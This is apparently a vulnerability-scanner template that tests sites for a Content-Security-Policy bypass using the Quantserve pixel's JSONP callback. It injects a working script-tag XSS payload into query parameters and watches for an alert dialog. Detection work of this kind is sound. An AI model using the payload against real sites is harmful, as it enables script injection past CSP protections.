id: quantserve-pixel-csp-bypass

info:
  name: Content-Security-Policy Bypass - Quantserve Pixel
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,quantserve-pixel

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "quantserve.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: quantserve_pixel_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://pixel.quantserve.com/api/segments.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "quantserve_pixel_csp_xss == true"
# digest: 490a0046304402206538e941bcf2428a7f14e710a08b04851f71cf535680840c09851112472ed68a02201f2f6e4cf1bb258d565b04f9203406d378585b3abcc341e5879b2764be2249e7:922c64590222798bb761d5b6d8e72950